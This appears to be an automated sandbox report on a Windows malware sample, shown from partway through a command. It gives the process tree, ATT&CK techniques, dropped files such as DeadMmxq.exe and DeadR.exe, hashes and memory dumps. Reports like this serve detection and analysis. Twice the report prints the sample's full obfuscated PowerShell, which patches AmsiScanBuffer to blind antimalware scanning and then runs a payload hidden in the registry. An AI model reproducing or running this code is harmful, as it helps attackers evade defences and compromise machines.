'T'+[Char](83)+''+[Char](112)+'e'+'c'+'ia'+[Char](108)+'N'+'a'+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$CQteGayMoiIyHV).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'ti'+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+'g'+[Char](101)+''+'d'+'');$ItnxbINiOSb.DefineMethod('I'+'n'+''+[Char](118)+'ok'+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+'i'+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+'l'+''+'o'+'t'+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+'l'+'',$FdFPaInazx,$CQteGayMoiIyHV).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $ItnxbINiOSb.CreateType();}$djFArywnQCBzZ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+'e'+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+'ro'+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+[Char](46)+'Wi'+[Char](110)+''+'3'+''+[Char](50)+''+'.'+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+'f'+''+'e'+'Na'+[Char](116)+''+'i'+''+'v'+''+'e'+''+[Char](77)+''+'e'+''+[Char](116)+'h'+[Char](111)+''+'d'+''+[Char](115)+'');$mbDjVXZdVZrUOQ=$djFArywnQCBzZ.GetMethod(''+[Char](71)+''+'e'+''+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+[Char](65)+'d'+'d'+''+'r'+''+[Char](101)+'s'+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+'b'+''+[Char](108)+'i'+'c'+','+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$KGwNZANeUUdzNwiBMbG=wFrZwJCzqqaH @([String])([IntPtr]);$mdHfOXoIjqQhIozHLyRRXc=wFrZwJCzqqaH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$sjBcfYSbTvt=$djFArywnQCBzZ.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+'u'+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+'n'+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+'.'+[Char](100)+''+'l'+''+[Char](108)+'')));$WyEpHzxtyaibei=$mbDjVXZdVZrUOQ.Invoke($Null,@([Object]$sjBcfYSbTvt,[Object](''+[Char](76)+''+[Char](111)+'a'+[Char](100)+''+'L'+''+'i'+''+[Char](98)+''+'r'+''+[Char](97)+'r'+'y'+'A')));$RAGgUETCHkqZvyboZ=$mbDjVXZdVZrUOQ.Invoke($Null,@([Object]$sjBcfYSbTvt,[Object]('V'+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+'a'+'l'+[Char](80)+''+'r'+''+'o'+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$Czerfmh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WyEpHzxtyaibei,$KGwNZANeUUdzNwiBMbG).Invoke('ams'+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$mGkYQceNodRBjUCKL=$mbDjVXZdVZrUOQ.Invoke($Null,@([Object]$Czerfmh,[Object](''+'A'+''+'m'+''+'s'+''+'i'+''+[Char](83)+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+'e'+[Char](114)+'')));$DjTkAjQjmr=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RAGgUETCHkqZvyboZ,$mdHfOXoIjqQhIozHLyRRXc).Invoke($mGkYQceNodRBjUCKL,[uint32]8,4,[ref]$DjTkAjQjmr);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$mGkYQceNodRBjUCKL,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RAGgUETCHkqZvyboZ,$mdHfOXoIjqQhIozHLyRRXc).Invoke($mGkYQceNodRBjUCKL,[uint32]8,0x20,[ref]$DjTkAjQjmr);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+'W'+'AR'+[Char](69)+'').GetValue(''+[Char](68)+''+[Char](101)+''+'a'+''+'d'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1584
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" "function Local:afoPuuuIwOdN{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ACrqrBCfQZlnvU,[Parameter(Position=1)][Type]$qQzcqvvBdw)$HSJBocEXbnu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+'d'+'D'+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+'du'+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+'t'+''+[Char](101)+''+[Char](84)+'ype',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+','+[Char](80)+''+'u'+'bl'+[Char](105)+'c,'+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+''+'A'+''+[Char](117)+'t'+[Char](111)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s',[MulticastDelegate]);$HSJBocEXbnu.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'pe'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+'am'+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+'y'+''+'S'+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](80)+'u'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$ACrqrBCfQZlnvU).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');$HSJBocEXbnu.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+'ke',''+[Char](80)+'ub'+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+'B'+[Char](121)+''+'S'+''+'i'+''+'g'+''+[Char](44)+'N'+[Char](101)+'wS'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+'V'+''+'i'+''+[Char](114)+''+'t'+'u'+[Char](97)+''+'l'+'',$qQzcqvvBdw,$ACrqrBCfQZlnvU).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+',M'+[Char](97)+'n'+'a'+''+'g'+''+[Char](101)+'d');Write-Output $HSJBocEXbnu.CreateType();}$ARidwaaxwMxXs=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'s'+[Char](116)+''+'e'+''+[Char](109)+'.d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+'f'+'t'+''+[Char](46)+'W'+'i'+''+[Char](110)+''+'3'+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+''+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+''+'M'+''+[Char](101)+''+'t'+''+[Char](104)+''+'o'+''+'d'+'s');$NSgKzzRrXBhEHc=$ARidwaaxwMxXs.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+'Ad'+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$TdOcYFmnPMbBLJQPZlD=afoPuuuIwOdN @([String])([IntPtr]);$IxLNcnxHhhaiCFjEaVcHzH=afoPuuuIwOdN @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PgXJztRNKAq=$ARidwaaxwMxXs.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+''+'e'+''+[Char](108)+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$gsQgXsJVbtyQeC=$NSgKzzRrXBhEHc.Invoke($Null,@([Object]$PgXJztRNKAq,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'dL'+[Char](105)+''+[Char](98)+''+[Char](114)+''+'a'+'r'+'y'+''+[Char](65)+'')));$hXizjEgBBTOjQmgVV=$NSgKzzRrXBhEHc.Invoke($Null,@([Object]$PgXJztRNKAq,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+''+[Char](80)+'r'+'o'+''+'t'+''+'e'+''+[Char](99)+'t')));$TqtpUcT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gsQgXsJVbtyQeC,$TdOcYFmnPMbBLJQPZlD).Invoke('a'+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$tXlNLAmOyWKiqJiQx=$NSgKzzRrXBhEHc.Invoke($Null,@([Object]$TqtpUcT,[Object](''+'A'+'m'+'s'+'iS'+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+'f'+[Char](102)+'e'+[Char](114)+'')));$GLiCEpAGSM=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hXizjEgBBTOjQmgVV,$IxLNcnxHhhaiCFjEaVcHzH).Invoke($tXlNLAmOyWKiqJiQx,[uint32]8,4,[ref]$GLiCEpAGSM);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$tXlNLAmOyWKiqJiQx,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hXizjEgBBTOjQmgVV,$IxLNcnxHhhaiCFjEaVcHzH).Invoke($tXlNLAmOyWKiqJiQx,[uint32]8,0x20,[ref]$GLiCEpAGSM);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('D'+[Char](101)+'a'+'d'+''+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2480
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1564
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1724

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2204

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2296

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2364

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2412

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2800

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2864

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3620

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
PID:3696
- C:\Users\Admin\AppData\Local\Temp\5.exe
  "C:\Users\Admin\AppData\Local\Temp\5.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4744
- - C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4648
- - C:\Users\Admin\AppData\Local\Temp\DeadR.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadR.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4352
- - C:\Users\Admin\AppData\Local\Temp\DeadR.exe
    "C:\Users\Admin\AppData\Local\Temp\DeadR.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4492
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3828

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:528

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4172

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4384

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2012

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2240

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3168

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1160

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca
1⤵
PID:3232

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:924

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 069cef3fa10fddff04c4e4b93986b605 Gzb+hhDYMUGNDwGgZtdrOw.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:4628
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:2356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:64

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
PID:2072

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Drops file in Windows directory
PID:3004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1356

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:4952

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:2876

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:3380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Microsoft\Windows\OneSettings\config.json

Filesize
5KB

MD5
fc1ad067c479cd708091b5589daad50d

SHA1
8543a46cf213bca2a05d315d940121caa17dbbb5

SHA256
e5dce907da4cba036a097d602f88190ea5965fe0396032ae37cd5123e43ec4c4

SHA512
ab70a5066dfe647d46e5348581899f63c136d165fe52a24700dc44aee1edd2259a47842318a0d28f76350b387b205fc1e4006b21ef1ea33a1ff5b6207996c738

Download Submit
C:\Users\Admin\AppData\Local\Temp\DeadMmxq.exe

Filesize
31KB

MD5
4846c3d667fad5ac518196fbbd7edfb6

SHA1
45af67cf4f1b0fecd4311c73ad37052613e27344

SHA256
02af5bf1358466c9c5189058e13a7d5860123ee2933a854ca528a8622d4bbf08

SHA512
72f79e2a05c07db71bd1b5615a701bfa63e62c83d52a283df0ed087f5fa30eb909689d08973a8187e2b50250513efd2f85b8c1dac7637434334bee717647ab13

Download Submit
C:\Users\Admin\AppData\Local\Temp\DeadR.exe

Filesize
151KB

MD5
b8479a23c22cf6fc456e197939284069

SHA1
b2d98cc291f16192a46f363d007e012d45c63300

SHA256
18294ee5a6383a48d1bcf2703f17d815529df3a17580e027c3efea1800900e8f

SHA512
786cd468ce3723516dc869b09e008ec5d35d1f0c1a61e70083a3be15180866be637bd7d8665c2f0218c56875a0ee597c277e088f77dd403bdd2182d06bad3bd4

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
4ac1741ceb19f5a983079b2c5f344f5d

SHA1
f1ebd93fbade2e035cd59e970787b8042cdd0f3b

SHA256
7df73f71214cdd2f2d477d6c2c65f6e4c2f5955fc669cde9c583b0ff9553ecdc

SHA512
583706069a7c0b22926fa22fc7bedcca9d6750d1542a1125b688fbb0595baf6cefc76e7b6e49c1415c782a21d0dd504c78fa36efad5f29f2fd5d69cc45ad8dcd

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
a9124c4c97cba8a07a8204fac1696c8e

SHA1
1f27d80280e03762c7b16781608786f5a98ff434

SHA256
8ad3d28aeff847bc5fb8035cbc7c71e88a4ee547821a8e1a3ea6661ee6014b21

SHA512
537caaa75ac1e257c6b247f9680c3b9e79156ea1bcb3f1326e969a774db33b3c906800813ca6f79369c799a62f4260c91c6dd9a6cace3af25b7dbea5a73e0392

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_xny4sutw.onf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/424-116-0x00007FFB33FD0000-0x00007FFB33FE0000-memory.dmp

Filesize
64KB

Download
memory/424-115-0x00000176CF8B0000-0x00000176CF8D7000-memory.dmp

Filesize
156KB

Download
memory/424-109-0x00000176CF8B0000-0x00000176CF8D7000-memory.dmp

Filesize
156KB

Download
memory/628-74-0x000001E6ECFA0000-0x000001E6ECFC2000-memory.dmp

Filesize
136KB

Download
memory/628-75-0x000001E6ED4F0000-0x000001E6ED517000-memory.dmp

Filesize
156KB

Download
memory/628-76-0x000001E6ED4F0000-0x000001E6ED517000-memory.dmp

Filesize
156KB

Download
memory/628-82-0x000001E6ED4F0000-0x000001E6ED517000-memory.dmp

Filesize
156KB

Download
memory/628-83-0x00007FFB33FD0000-0x00007FFB33FE0000-memory.dmp

Filesize
64KB

Download
memory/684-87-0x00000132FEE40000-0x00000132FEE67000-memory.dmp

Filesize
156KB

Download
memory/684-94-0x00007FFB33FD0000-0x00007FFB33FE0000-memory.dmp

Filesize
64KB

Download
memory/684-93-0x00000132FEE40000-0x00000132FEE67000-memory.dmp

Filesize
156KB

Download
memory/984-98-0x000001EBCAA40000-0x000001EBCAA67000-memory.dmp

Filesize
156KB

Download
memory/984-104-0x000001EBCAA40000-0x000001EBCAA67000-memory.dmp

Filesize
156KB

Download
memory/984-105-0x00007FFB33FD0000-0x00007FFB33FE0000-memory.dmp

Filesize
64KB

Download
memory/1584-55-0x00007FFB73430000-0x00007FFB734ED000-memory.dmp

Filesize
756KB

Download
memory/1584-54-0x00007FFB73F50000-0x00007FFB74148000-memory.dmp

Filesize
2.0MB

Download
memory/1584-52-0x00000204B0610000-0x00000204B0638000-memory.dmp

Filesize
160KB

Download
memory/1584-42-0x00000204B02A0000-0x00000204B02C2000-memory.dmp

Filesize
136KB

Download
memory/1708-59-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1708-58-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1708-60-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/1708-57-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2480-53-0x00007FFB73F50000-0x00007FFB74148000-memory.dmp

Filesize
2.0MB

Download
memory/2480-56-0x00007FFB73430000-0x00007FFB734ED000-memory.dmp

Filesize
756KB

Download
memory/3176-0-0x00007FFB55BA3000-0x00007FFB55BA5000-memory.dmp

Filesize
8KB

Download
memory/3176-1-0x0000000000BC0000-0x0000000000C40000-memory.dmp

Filesize
512KB

Download
memory/4648-835-0x00007FFB55BA0000-0x00007FFB56662000-memory.dmp

Filesize
10.8MB

Download
memory/4648-32-0x00007FFB55BA0000-0x00007FFB56662000-memory.dmp

Filesize
10.8MB

Download
memory/4716-69-0x00007FFB73430000-0x00007FFB734ED000-memory.dmp

Filesize
756KB

Download
